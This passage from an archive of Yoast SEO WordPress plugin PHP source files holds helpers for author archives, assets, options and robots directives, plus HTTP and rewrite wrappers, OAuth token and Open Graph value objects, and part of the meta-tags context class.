	public function author_has_public_posts( $author_id ) {
		// First check if the author has at least one public post.
		$has_public_post = $this->author_has_a_public_post( $author_id );
		if ( $has_public_post ) {
			return true;
		}

		// Then check if the author has at least one post where the status is the same as the global setting.
		$has_public_post_depending_on_the_global_setting = $this->author_has_a_post_with_is_public_null( $author_id );
		if ( $has_public_post_depending_on_the_global_setting ) {
			return null;
		}

		return false;
	}

	/**
	 * Returns whether the author has at least one public post.
	 *
	 * **Note**: It uses WP_Query to determine the number of posts,
	 * not the indexables table.
	 *
	 * @param string $user_id The user ID.
	 *
	 * @return bool Whether the author has at least one public post.
	 */
	public function author_has_public_posts_wp( $user_id ) {
		$post_types        = \array_intersect( $this->get_author_archive_post_types(), $this->post_type_helper->get_indexable_post_types() );
		$public_post_stati = \array_values( \array_filter( \get_post_stati(), 'is_post_status_viewable' ) );

		$args = [
			'post_type'              => $post_types,
			'post_status'            => $public_post_stati,
			'author'                 => $user_id,
			'update_post_term_cache' => false,
			'update_post_meta_cache' => false,
			'no_found_rows'          => true,
			'fields'                 => 'ids',
			'posts_per_page'         => 1,
		];

		$query = new WP_Query( $args );

		if ( $query->have_posts() ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks whether author archives are disabled.
	 *
	 * @return bool `true` if author archives are disabled, `false` if not.
	 */
	public function are_disabled() {
		return $this->options_helper->get( 'disable-author' );
	}

	/**
	 * Returns whether the author has at least one public post.
	 *
	 * @codeCoverageIgnore It looks for the first ID through the ORM and converts it to a boolean.
	 *
	 * @param int $author_id The author ID.
	 *
	 * @return bool Whether the author has at least one public post.
	 */
	protected function author_has_a_public_post( $author_id ) {
		$cache_key        = 'author_has_a_public_post_' . $author_id;
		$indexable_exists = \wp_cache_get( $cache_key );

		if ( $indexable_exists === false ) {
			$indexable_exists = Model::of_type( 'Indexable' )
				->select( 'id' )
				->where( 'object_type', 'post' )
				->where_in( 'object_sub_type', $this->get_author_archive_post_types() )
				->where( 'author_id', $author_id )
				->where( 'is_public', 1 )
				->find_one();

			if ( $indexable_exists === false ) {
				// Cache no results to prevent full table scanning on authors with no public posts.
				\wp_cache_set( $cache_key, 0, '', \wp_rand( ( 2 * \HOUR_IN_SECONDS ), ( 4 * \HOUR_IN_SECONDS ) ) );
			}
		}

		return (bool) $indexable_exists;
	}

	/**
	 * Returns whether the author has at least one post with the is public null.
	 *
	 * @codeCoverageIgnore It looks for the first ID through the ORM and converts it to a boolean.
	 *
	 * @param int $author_id The author ID.
	 *
	 * @return bool Whether the author has at least one post with the is public null.
	 */
	protected function author_has_a_post_with_is_public_null( $author_id ) {
		$cache_key        = 'author_has_a_post_with_is_public_null_' . $author_id;
		$indexable_exists = \wp_cache_get( $cache_key );

		if ( $indexable_exists === false ) {
			$indexable_exists = Model::of_type( 'Indexable' )
				->select( 'id' )
				->where( 'object_type', 'post' )
				->where_in( 'object_sub_type', $this->get_author_archive_post_types() )
				->where( 'author_id', $author_id )
				->where_null( 'is_public' )
				->find_one();

			if ( $indexable_exists === false ) {
				// Cache no results to prevent full table scanning on authors with no is public null posts.
				\wp_cache_set( $cache_key, 0, '', \wp_rand( ( 2 * \HOUR_IN_SECONDS ), ( 4 * \HOUR_IN_SECONDS ) ) );
			}
		}

		return (bool) $indexable_exists;
	}
}
helpers/asset-helper.php000066600000005014152204306270011320 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

/**
 * A helper object for author archives.
 */
class Asset_Helper {

	/**
	 * Recursively retrieves all dependency urls of a given handle.
	 *
	 * @param string $handle The handle.
	 *
	 * @return string[] All dependency urls of the given handle.
	 */
	public function get_dependency_urls_by_handle( $handle ) {
		$urls = [];

		foreach ( $this->get_dependency_handles( $handle ) as $other_handle ) {
			$urls[ $other_handle ] = $this->get_asset_url( $other_handle );
		}

		return $urls;
	}

	/**
	 * Recursively retrieves all dependencies of a given handle.
	 *
	 * @param string $handle The handle.
	 *
	 * @return string[] All dependencies of the given handle.
	 */
	public function get_dependency_handles( $handle ) {
		$scripts = \wp_scripts();

		if ( ! isset( $scripts->registered[ $handle ] ) ) {
			return [];
		}

		$obj  = $scripts->registered[ $handle ];
		$deps = $obj->deps;
		foreach ( $obj->deps as $other_handle ) {
			$nested_deps = $this->get_dependency_handles( $other_handle );
			if ( ! $nested_deps ) {
				continue;
			}

			// Place nested dependencies before primary dependencies, they need to be loaded first.
			$deps = \array_merge( $nested_deps, $deps );
		}

		// Array unique keeps the first of each element so dependencies will be as early as they're required.
		return \array_values( \array_unique( $deps ) );
	}

	/**
	 * Gets the URL of a given asset.
	 *
	 * This logic is copied from WP_Scripts::do_item as unfortunately that logic is not properly isolated.
	 *
	 * @param string $handle The handle of the asset.
	 *
	 * @return string|false The URL of the asset or false if the asset does not exist.
	 */
	public function get_asset_url( $handle ) {
		$scripts = \wp_scripts();

		if ( ! isset( $scripts->registered[ $handle ] ) ) {
			return false;
		}

		$obj = $scripts->registered[ $handle ];

		if ( $obj->ver === null ) {
			$ver = '';
		}
		else {
			$ver = ( $obj->ver ) ? $obj->ver : $scripts->default_version;
		}
		if ( isset( $scripts->args[ $handle ] ) ) {
			$ver = ( $ver ) ? $ver . '&amp;' . $scripts->args[ $handle ] : $scripts->args[ $handle ];
		}

		$src = $obj->src;

		if ( ! \preg_match( '|^(https?:)?//|', $src ) && ! ( $scripts->content_url && \strpos( $src, $scripts->content_url ) === 0 ) ) {
			$src = $scripts->base_url . $src;
		}

		if ( ! empty( $ver ) ) {
			$src = \add_query_arg( 'ver', $ver, $src );
		}

		/** This filter is documented in wp-includes/class.wp-scripts.php */
		return \esc_url( \apply_filters( 'script_loader_src', $src, $handle ) );
	}
}
helpers/options-helper.php000066600000010462152204306270011677 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use WPSEO_Option_Llmstxt;
use WPSEO_Option_Social;
use WPSEO_Option_Titles;
use WPSEO_Options;

/**
 * A helper object for options.
 */
class Options_Helper {

	/**
	 * Retrieves a single field from any option for the SEO plugin. Keys are always unique.
	 *
	 * @codeCoverageIgnore We have to write test when this method contains own code.
	 *
	 * @param string $key           The key it should return.
	 * @param mixed  $default_value The default value that should be returned if the key isn't set.
	 *
	 * @return mixed|null Returns value if found, $default_value if not.
	 */
	public function get( $key, $default_value = null ) {
		return WPSEO_Options::get( $key, $default_value );
	}

	/**
	 * Sets a single field to the options.
	 *
	 * @param string $key          The key to set.
	 * @param mixed  $value        The value to set.
	 * @param string $option_group The lookup table which represents the option_group where the key is stored.
	 *
	 * @return mixed|null Returns value if found.
	 */
	public function set( $key, $value, $option_group = '' ) {
		return WPSEO_Options::set( $key, $value, $option_group );
	}

	/**
	 * Get a specific default value for an option.
	 *
	 * @param string $option_name The option for which you want to retrieve a default.
	 * @param string $key         The key within the option who's default you want.
	 *
	 * @return mixed The default value.
	 */
	public function get_default( $option_name, $key ) {
		return WPSEO_Options::get_default( $option_name, $key );
	}

	/**
	 * Retrieves the title separator.
	 *
	 * @return string The title separator.
	 */
	public function get_title_separator() {
		$default = $this->get_default( 'wpseo_titles', 'separator' );

		// Get the titles option and the separator options.
		$separator         = $this->get( 'separator' );
		$seperator_options = $this->get_separator_options();

		// This should always be set, but just to be sure.
		if ( isset( $seperator_options[ $separator ] ) ) {
			// Set the new replacement.
			$replacement = $seperator_options[ $separator ];
		}
		elseif ( isset( $seperator_options[ $default ] ) ) {
			$replacement = $seperator_options[ $default ];
		}
		else {
			$replacement = \reset( $seperator_options );
		}

		/**
		 * Filter: 'wpseo_replacements_filter_sep' - Allow customization of the separator character(s).
		 *
		 * @param string $replacement The current separator.
		 */
		return \apply_filters( 'wpseo_replacements_filter_sep', $replacement );
	}

	/**
	 * Retrieves a default value from the option titles.
	 *
	 * @param string $option_titles_key The key of the option title you wish to get.
	 *
	 * @return string The option title.
	 */
	public function get_title_default( $option_titles_key ) {
		$default_titles = $this->get_title_defaults();
		if ( ! empty( $default_titles[ $option_titles_key ] ) ) {
			return $default_titles[ $option_titles_key ];
		}

		return '';
	}

	/**
	 * Retrieves the default option titles.
	 *
	 * @codeCoverageIgnore We have to write test when this method contains own code.
	 *
	 * @return array The title defaults.
	 */
	protected function get_title_defaults() {
		return WPSEO_Option_Titles::get_instance()->get_defaults();
	}

	/**
	 * Get the available separator options.
	 *
	 * @return array
	 */
	protected function get_separator_options() {
		return WPSEO_Option_Titles::get_instance()->get_separator_options();
	}

	/**
	 * Checks whether a social URL is valid, with empty strings being valid social URLs.
	 *
	 * @param string $url The url to be checked.
	 *
	 * @return bool Whether the URL is valid.
	 */
	public function is_social_url_valid( $url ) {
		return $url === '' || WPSEO_Option_Social::get_instance()->validate_social_url( $url );
	}

	/**
	 * Checks whether a twitter id is valid, with empty strings being valid twitter id.
	 *
	 * @param string $twitter_id The twitter id to be checked.
	 *
	 * @return bool Whether the twitter id is valid.
	 */
	public function is_twitter_id_valid( $twitter_id ) {
		return empty( $twitter_id ) || WPSEO_Option_Social::get_instance()->validate_twitter_id( $twitter_id, false );
	}

	/**
	 * Gets the limit for the other included pages.
	 *
	 * @return int The limit for the other included pages.
	 */
	public function get_other_included_pages_limit() {
		return WPSEO_Option_Llmstxt::get_instance()->get_other_included_pages_limit();
	}
}
helpers/robots-helper.php000066600000003361152204306270011514 0ustar00<?php

namespace Yoast\WP\SEO\Helpers;

use Yoast\WP\SEO\Models\Indexable;

/**
 * A helper object for the robots meta tag.
 */
class Robots_Helper {

	/**
	 * Holds the Post_Type_Helper.
	 *
	 * @var Post_Type_Helper
	 */
	protected $post_type_helper;

	/**
	 * Holds the Taxonomy_Helper.
	 *
	 * @var Taxonomy_Helper
	 */
	protected $taxonomy_helper;

	/**
	 * Constructs a Score_Helper.
	 *
	 * @param Post_Type_Helper $post_type_helper The Post_Type_Helper.
	 * @param Taxonomy_Helper  $taxonomy_helper  The Taxonomy_Helper.
	 */
	public function __construct( Post_Type_Helper $post_type_helper, Taxonomy_Helper $taxonomy_helper ) {
		$this->post_type_helper = $post_type_helper;
		$this->taxonomy_helper  = $taxonomy_helper;
	}

	/**
	 * Retrieves whether the Indexable is indexable.
	 *
	 * @param Indexable $indexable The Indexable.
	 *
	 * @return bool Whether the Indexable is indexable.
	 */
	public function is_indexable( Indexable $indexable ) {
		if ( $indexable->is_robots_noindex === null ) {
			// No individual value set, check the global setting.
			switch ( $indexable->object_type ) {
				case 'post':
					return $this->post_type_helper->is_indexable( $indexable->object_sub_type );
				case 'term':
					return $this->taxonomy_helper->is_indexable( $indexable->object_sub_type );
			}
		}

		return $indexable->is_robots_noindex === false;
	}

	/**
	 * Sets the robots index to noindex.
	 *
	 * @param array $robots The current robots value.
	 *
	 * @return array The altered robots string.
	 */
	public function set_robots_no_index( $robots ) {
		if ( ! \is_array( $robots ) ) {
			\_deprecated_argument( __METHOD__, '14.1', '$robots has to be a key-value paired array.' );
			return $robots;
		}

		$robots['index'] = 'noindex';

		return $robots;
	}
}
user-profiles-additions/user-interface/user-profiles-additions-ui.php000066600000004323152204306270022141 0ustar00<?php

namespace Yoast\WP\SEO\User_Profiles_Additions\User_Interface;

use WP_User;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\User_Profile_Conditional;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Adds a new hook in the user profiles edit screen to add content.
 */
class User_Profiles_Additions_Ui implements Integration_Interface {

	/**
	 * Holds the Product_Helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Holds the WPSEO_Admin_Asset_Manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $asset_manager;

	/**
	 * Constructs Academy_Integration.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager  The WPSEO_Admin_Asset_Manager.
	 * @param Product_Helper            $product_helper The Product_Helper.
	 */
	public function __construct( WPSEO_Admin_Asset_Manager $asset_manager, Product_Helper $product_helper ) {
		$this->asset_manager  = $asset_manager;
		$this->product_helper = $product_helper;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ User_Profile_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'show_user_profile', [ $this, 'add_hook_to_user_profile' ] );
		\add_action( 'edit_user_profile', [ $this, 'add_hook_to_user_profile' ] );
	}

	/**
	 * Enqueues the assets needed for this integration.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		if ( $this->product_helper->is_premium() ) {
			$this->asset_manager->enqueue_style( 'introductions' );
		}
	}

	/**
	 * Add the inputs needed for SEO values to the User Profile page.
	 *
	 * @param WP_User $user User instance to output for.
	 *
	 * @return void
	 */
	public function add_hook_to_user_profile( $user ) {
		$this->enqueue_assets();
		echo '<div class="yoast yoast-settings">';

		/**
		 * Fires in the user profile.
		 *
		 * @internal
		 *
		 * @param WP_User $user The current WP_User object.
		 */
		\do_action( 'wpseo_user_profile_additions', $user );
		echo '</div>';
	}
}
wrappers/wp-rewrite-wrapper.php000066600000000444152204306270012712 0ustar00<?php

namespace Yoast\WP\SEO\Wrappers;

use WP_Rewrite;

/**
 * Wrapper for WP_Rewrite.
 */
class WP_Rewrite_Wrapper {

	/**
	 * Returns the global WP_Rewrite_Wrapper object.
	 *
	 * @return WP_Rewrite The WP_Query object.
	 */
	public function get() {
		return $GLOBALS['wp_rewrite'];
	}
}
wrappers/wp-remote-handler.php000066600000003564152204306270012467 0ustar00<?php

namespace Yoast\WP\SEO\Wrappers;

use Exception;
use YoastSEO_Vendor\GuzzleHttp\Promise\FulfilledPromise;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\GuzzleHttp\Promise\RejectedPromise;
use YoastSEO_Vendor\GuzzleHttp\Psr7\Response;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;

/**
 * Wraps wp_remote_get in an interface compatible with Guzzle.
 */
class WP_Remote_Handler {

	/**
	 * Calls the handler.
	 * Cookies are currently not supported as they are not used by OAuth.
	 * Writing responses to files is also not supported for the same reason.
	 *
	 * @param RequestInterface $request The request.
	 * @param array            $options The request options.
	 *
	 * @return PromiseInterface The promise interface.
	 *
	 * @throws Exception If the request fails.
	 */
	public function __invoke( RequestInterface $request, array $options ) {
		$headers = [];
		foreach ( $request->getHeaders() as $name => $values ) {
			$headers[ $name ] = \implode( ',', $values );
		}

		$args = [
			'method'      => $request->getMethod(),
			'headers'     => $headers,
			'body'        => (string) $request->getBody(),
			'httpVersion' => $request->getProtocolVersion(),
		];

		if ( isset( $options['verify'] ) && $options['verify'] === false ) {
			$args['sslverify'] = false;
		}
		if ( isset( $options['timeout'] ) ) {
			$args['timeout'] = ( $options['timeout'] * 1000 );
		}

		$raw_response = \wp_remote_request( (string) $request->getUri(), $args );
		if ( \is_wp_error( $raw_response ) ) {
			$exception = new Exception( $raw_response->get_error_message() );
			return new RejectedPromise( $exception );
		}

		$response = new Response(
			$raw_response['response']['code'],
			$raw_response['headers']->getAll(),
			$raw_response['body'],
			$args['httpVersion'],
			$raw_response['response']['message']
		);

		return new FulfilledPromise( $response );
	}
}
values/oauth/oauth-token.php000066600000006220152204306270012137 0ustar00<?php

namespace Yoast\WP\SEO\Values\OAuth;

use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Property_Exception;
use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessTokenInterface;

/**
 * Class OAuth_Token
 */
class OAuth_Token {

	/**
	 * The access token.
	 *
	 * @var string
	 */
	public $access_token;

	/**
	 * The refresh token.
	 *
	 * @var string
	 */
	public $refresh_token;

	/**
	 * The expiration date.
	 *
	 * @var int
	 */
	public $expires;

	/**
	 * Whether or not the token has expired.
	 *
	 * @var bool
	 */
	public $has_expired;

	/**
	 * The timestamp at which the token was created.
	 *
	 * @var int
	 */
	public $created_at;

	/**
	 * The number of times we've gotten an error trying to refresh this token.
	 *
	 * @var int
	 */
	public $error_count;

	/**
	 * OAuth_Token constructor.
	 *
	 * @param string $access_token  The access token.
	 * @param string $refresh_token The refresh token.
	 * @param int    $expires       The date and time at which the token will expire.
	 * @param bool   $has_expired   Whether or not the token has expired.
	 * @param int    $created_at    The timestamp of when the token was created.
	 * @param int    $error_count   The number of times we've gotten an error trying to refresh this token.
	 *
	 * @throws Empty_Property_Exception Exception thrown if a token property is empty.
	 */
	public function __construct( $access_token, $refresh_token, $expires, $has_expired, $created_at, $error_count = 0 ) {

		if ( empty( $access_token ) ) {
			throw new Empty_Property_Exception( 'access_token' );
		}

		$this->access_token = $access_token;

		if ( empty( $refresh_token ) ) {
			throw new Empty_Property_Exception( 'refresh_token' );
		}

		$this->refresh_token = $refresh_token;

		if ( empty( $expires ) ) {
			throw new Empty_Property_Exception( 'expires' );
		}

		$this->expires = $expires;

		if ( $has_expired === null ) {
			throw new Empty_Property_Exception( 'has_expired' );
		}

		$this->has_expired = $has_expired;
		$this->created_at  = $created_at;
		$this->error_count = $error_count;
	}

	/**
	 * Creates a new instance based on the passed response.
	 *
	 * @param AccessTokenInterface $response The response object to create a new instance from.
	 *
	 * @return OAuth_Token The token object.
	 *
	 * @throws Empty_Property_Exception Exception thrown if a token property is empty.
	 */
	public static function from_response( AccessTokenInterface $response ) {
		return new self(
			$response->getToken(),
			$response->getRefreshToken(),
			$response->getExpires(),
			$response->hasExpired(),
			\time()
		);
	}

	/**
	 * Determines whether or not the token has expired.
	 *
	 * @return bool Whether or not the token has expired.
	 */
	public function has_expired() {
		return ( \time() >= $this->expires ) || $this->has_expired === true;
	}

	/**
	 * Converts the object to an array.
	 *
	 * @return array The converted object.
	 */
	public function to_array() {
		return [
			'access_token'  => $this->access_token,
			'refresh_token' => $this->refresh_token,
			'expires'       => $this->expires,
			'has_expired'   => $this->has_expired(),
			'created_at'    => $this->created_at,
			'error_count'   => $this->error_count,
		];
	}
}
values/robots/user-agent.php000066600000003226152204306270012146 0ustar00<?php

namespace Yoast\WP\SEO\Values\Robots;

/**
 * Class Directive
 */
class User_Agent {

	/**
	 * The user agent identifier.
	 *
	 * @var string
	 */
	private $user_agent;

	/**
	 * All directives that are allowed for this user agent.
	 *
	 * @var Directive
	 */
	private $allow_directive;

	/**
	 * All directives that are disallowed for this user agent.
	 *
	 * @var Directive
	 */
	private $disallow_directive;

	/**
	 * Constructor of the user agent value object.
	 *
	 * @param string $user_agent The user agent identifier.
	 */
	public function __construct( $user_agent ) {
		$this->user_agent         = $user_agent;
		$this->allow_directive    = new Directive();
		$this->disallow_directive = new Directive();
	}

	/**
	 * Gets the user agent identifier.
	 *
	 * @return string
	 */
	public function get_user_agent() {
		return $this->user_agent;
	}

	/**
	 * Adds a path to the directive object.
	 *
	 * @param string $path The path to add to the disallow directive.
	 *
	 * @return void
	 */
	public function add_disallow_directive( $path ) {
		$this->disallow_directive->add_path( $path );
	}

	/**
	 * Adds a path to the directive object.
	 *
	 * @param string $path The path to add to the allow directive.
	 *
	 * @return void
	 */
	public function add_allow_directive( $path ) {
		$this->allow_directive->add_path( $path );
	}

	/**
	 * Gets all disallow paths for this user agent.
	 *
	 * @return array
	 */
	public function get_disallow_paths() {
		return $this->disallow_directive->get_paths();
	}

	/**
	 * Gets all sallow paths for this user agent.
	 *
	 * @return array
	 */
	public function get_allow_paths() {
		return $this->allow_directive->get_paths();
	}
}
values/open-graph/images.php000066600000002232152204306270012065 0ustar00<?php

namespace Yoast\WP\SEO\Values\Open_Graph;

use Yoast\WP\SEO\Helpers\Open_Graph\Image_Helper as Open_Graph_Image_Helper;
use Yoast\WP\SEO\Values\Images as Base_Images;

/**
 * Value object for the Open Graph Images.
 */
class Images extends Base_Images {

	/**
	 * The Open Graph image helper.
	 *
	 * @var Open_Graph_Image_Helper
	 */
	protected $open_graph_image;

	/**
	 * Sets the helpers.
	 *
	 * @required
	 *
	 * @codeCoverageIgnore - Is handled by DI-container.
	 *
	 * @param Open_Graph_Image_Helper $open_graph_image Image helper for Open Graph.
	 *
	 * @return void
	 */
	public function set_helpers( Open_Graph_Image_Helper $open_graph_image ) {
		$this->open_graph_image = $open_graph_image;
	}

	/**
	 * Outputs the images.
	 *
	 * @codeCoverageIgnore - The method is empty, nothing to test.
	 *
	 * @return void
	 */
	public function show() {}

	/**
	 * Adds an image to the list by image ID.
	 *
	 * @param int $image_id The image ID to add.
	 *
	 * @return void
	 */
	public function add_image_by_id( $image_id ) {
		$attachment = $this->open_graph_image->get_image_by_id( $image_id );

		if ( $attachment ) {
			$this->add_image( $attachment );
		}
	}
}
ai-generator/domain/suggestions-bucket.php000066600000001453152204306270014736 0ustar00<?php

namespace Yoast\WP\SEO\AI_Generator\Domain;

/**
 * Class Suggestion_Bucket
 * Represents a collection of Suggestion objects.
 */
class Suggestions_Bucket {

	/**
	 * The suggestions.
	 *
	 * @var array<Suggestion>
	 */
	private $suggestions;

	/**
	 * Class constructor.
	 */
	public function __construct() {
		$this->suggestions = [];
	}

	/**
	 * Adds a suggestion to the bucket.
	 *
	 * @param Suggestion $suggestion The suggestion to add.
	 *
	 * @return void
	 */
	public function add_suggestion( Suggestion $suggestion ) {
		$this->suggestions[] = $suggestion;
	}

	/**
	 * Returns the suggestions as an array.
	 *
	 * @return array<string>
	 */
	public function to_array() {
		return \array_map(
			static function ( $item ) {
				return $item->get_value();
			},
			$this->suggestions
		);
	}
}
ai-generator/domain/endpoint/endpoint-list.php000066600000001504152204306270015517 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\AI_Generator\Domain\Endpoint;

/**
 * List of endpoints.
 */
class Endpoint_List {

	/**
	 * Holds the endpoints.
	 *
	 * @var array<Endpoint_Interface>
	 */
	private $endpoints = [];

	/**
	 * Adds an endpoint to the list.
	 *
	 * @param Endpoint_Interface $endpoint An endpoint.
	 *
	 * @return void
	 */
	public function add_endpoint( Endpoint_Interface $endpoint ): void {
		$this->endpoints[] = $endpoint;
	}

	/**
	 * Converts the list to an array.
	 *
	 * @return array<string, string> The array of endpoints.
	 */
	public function to_array(): array {
		$result = [];
		foreach ( $this->endpoints as $endpoint ) {
			$result[ $endpoint->get_name() ] = $endpoint->get_url();
		}

		return $result;
	}
}
ai-generator/domain/urls-interface.php000066600000001270152204306270014031 0ustar00<?php

namespace Yoast\WP\SEO\AI_Generator\Domain;

/**
 * Helper class to get the URLs needed for the AI Generator API.
 */
interface URLs_Interface {

	/**
	 * Gets the licence URL.
	 *
	 * @return string The license URL.
	 */
	public function get_license_url(): string;

	/**
	 * Gets the callback URL to be used by the API to send back the access token, refresh token and code challenge.
	 *
	 * @return string The callback URL.
	 */
	public function get_callback_url(): string;

	/**
	 * Gets the callback URL to be used by the API to send back the refreshed JWTs once they expire.
	 *
	 * @return string The refresh callback URL.
	 */
	public function get_refresh_callback_url(): string;
}
plans/application/add-ons-collector.php000066600000002227152204306270014216 0ustar00<?php

namespace Yoast\WP\SEO\Plans\Application;

use Yoast\WP\SEO\Plans\Domain\Add_Ons\Add_On_Interface;

/**
 * The collector to get add-ons.
 */
class Add_Ons_Collector {

	/**
	 * All add-ons.
	 *
	 * @var array<Add_On_Interface>
	 */
	private $add_ons;

	/**
	 * Constructs the instance.
	 *
	 * @param Add_On_Interface ...$add_ons All add-ons.
	 */
	public function __construct( Add_On_Interface ...$add_ons ) {
		$this->add_ons = $add_ons;
	}

	/**
	 * Returns all the add-ons.
	 *
	 * @return array<Add_On_Interface> All the add-ons.
	 */
	public function get(): array {
		return $this->add_ons;
	}

	/**
	 * Returns the data for the add-ons in an array format.
	 *
	 * @return array<string, string|bool|array<string, string>> The add-ons in an array format.
	 */
	public function to_array(): array {
		$result = [];
		foreach ( $this->add_ons as $add_on ) {
			$result[ $add_on->get_id() ] = [
				'id'         => $add_on->get_id(),
				'isActive'   => $add_on->is_active(),
				'hasLicense' => $add_on->has_license(),
				'ctb'        => [
					'action' => $add_on->get_ctb_action(),
					'id'     => $add_on->get_ctb_id(),
				],
			];
		}

		return $result;
	}
}
context/meta-tags-context.php000066600000046254152204306270012325 0ustar00<?php

namespace Yoast\WP\SEO\Context;

use WP_Block_Parser_Block;
use WP_Post;
use WPSEO_Replace_Vars;
use Yoast\WP\SEO\Config\Schema_IDs;
use Yoast\WP\SEO\Config\Schema_Types;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Permalink_Helper;
use Yoast\WP\SEO\Helpers\Schema\ID_Helper;
use Yoast\WP\SEO\Helpers\Site_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;
use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Presentations\Abstract_Presentation;
use Yoast\WP\SEO\Presentations\Indexable_Presentation;
use Yoast\WP\SEO\Repositories\Indexable_Repository;

/**
 * Class Meta_Tags_Context.
 *
 * Class that contains all relevant data for rendering the meta tags.
 *
 * @property string          $canonical
 * @property string          $permalink
 * @property string          $title
 * @property string          $description
 * @property string          $id
 * @property string          $site_name
 * @property string          $alternate_site_name
 * @property string          $wordpress_site_name
 * @property string          $site_url
 * @property string          $company_name
 * @property string          $company_alternate_name
 * @property int             $company_logo_id
 * @property array           $company_logo_meta
 * @property int             $person_logo_id
 * @property array           $person_logo_meta
 * @property int             $site_user_id
 * @property string          $site_represents
 * @property array|false     $site_represents_reference
 * @property string|string[] $schema_page_type
 * @property string|string[] $schema_article_type      Represents the type of article.
 * @property string          $main_schema_id
 * @property string|array    $main_entity_of_page
 * @property bool            $open_graph_enabled
 * @property string          $open_graph_publisher
 * @property string          $twitter_card
 * @property string          $page_type
 * @property bool            $has_article
 * @property bool            $has_image
 * @property int             $main_image_id
 * @property string          $main_image_url
 */
class Meta_Tags_Context extends Abstract_Presentation {

	/**
	 * The indexable.
	 *
	 * @var Indexable
	 */
	public $indexable;

	/**
	 * The WP Block Parser Block.
	 *
	 * @var WP_Block_Parser_Block[]
	 */
	public $blocks;

	/**
	 * The WP Post.
	 *
	 * @var WP_Post
	 */
	public $post;

	/**
	 * The indexable presentation.
	 *
	 * @var Indexable_Presentation
	 */
	public $presentation;

	/**
	 * Determines whether we have an Article piece. Set to true by the Article piece itself.
	 *
	 * @var bool
	 */
	public $has_article = false;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options;

	/**
	 * The URL helper.
	 *
	 * @var Url_Helper
	 */
	private $url;

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	private $image;

	/**
	 * The ID helper.
	 *
	 * @var ID_Helper
	 */
	private $id_helper;

	/**
	 * The WPSEO Replace Vars object.
	 *
	 * @var WPSEO_Replace_Vars
	 */
	private $replace_vars;

	/**
	 * The site helper.
	 *
	 * @var Site_Helper
	 */
	private $site;

	/**
	 * The user helper.
	 *
	 * @var User_Helper
	 */
	private $user;

	/**
	 * The permalink helper.
	 *
	 * @var Permalink_Helper
	 */
	private $permalink_helper;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $indexable_repository;

	/**
	 * Meta_Tags_Context constructor.
	 *
	 * @param Options_Helper       $options              The options helper.
	 * @param Url_Helper           $url                  The url helper.
	 * @param Image_Helper         $image                The image helper.
	 * @param ID_Helper            $id_helper            The schema id helper.
	 * @param WPSEO_Replace_Vars   $replace_vars         The replace vars helper.
	 * @param Site_Helper          $site                 The site helper.
	 * @param User_Helper          $user                 The user helper.
	 * @param Permalink_Helper     $permalink_helper     The permalink helper.
	 * @param Indexable_Helper     $indexable_helper     The indexable helper.
	 * @param Indexable_Repository $indexable_repository The indexable repository.
	 */
	public function __construct(
		Options_Helper $options,
		Url_Helper $url,
		Image_Helper $image,
		ID_Helper $id_helper,
		WPSEO_Replace_Vars $replace_vars,
		Site_Helper $site,
		User_Helper $user,
		Permalink_Helper $permalink_helper,
		Indexable_Helper $indexable_helper,
		Indexable_Repository $indexable_repository
	) {
		$this->options              = $options;
		$this->url                  = $url;
		$this->image                = $image;
		$this->id_helper            = $id_helper;
		$this->replace_vars         = $replace_vars;
		$this->site                 = $site;
		$this->user                 = $user;
		$this->permalink_helper     = $permalink_helper;
		$this->indexable_helper     = $indexable_helper;
		$this->indexable_repository = $indexable_repository;
	}

	/**
	 * Generates the title.
	 *
	 * @return string the title
	 */
	public function generate_title() {
		return $this->replace_vars->replace( $this->presentation->title, $this->presentation->source );
	}

	/**
	 * Generates the description.
	 *
	 * @return string the description
	 */
	public function generate_description() {
		return $this->replace_vars->replace( $this->presentation->meta_description, $this->presentation->source );
	}

	/**
	 * Generates the canonical.
	 *
	 * @return string the canonical
	 */
	public function generate_canonical() {
		return $this->presentation->canonical;
	}

	/**
	 * Generates the permalink.
	 *
	 * @return string
	 */
	public function generate_permalink() {
		if ( ! \is_search() ) {
			return $this->presentation->permalink;
		}

		return \add_query_arg( 's', \rawurlencode( \get_search_query() ), \trailingslashit( $this->site_url ) );
	}

	/**
	 * Generates the id.
	 *
	 * @return string the id
	 */
	public function generate_id() {
		return $this->indexable->object_id;
	}

	/**
	 * Generates the site name.
	 *
	 * @return string The site name.
	 */
	public function generate_site_name() {
		$site_name = $this->options->get( 'website_name', '' );
		if ( $site_name !== '' ) {
			return $site_name;
		}

		return \get_bloginfo( 'name' );
	}

	/**
	 * Generates the alternate site name.
	 *
	 * @return string The alternate site name.
	 */
	public function generate_alternate_site_name() {
		return (string) $this->options->get( 'alternate_website_name', '' );
	}

	/**
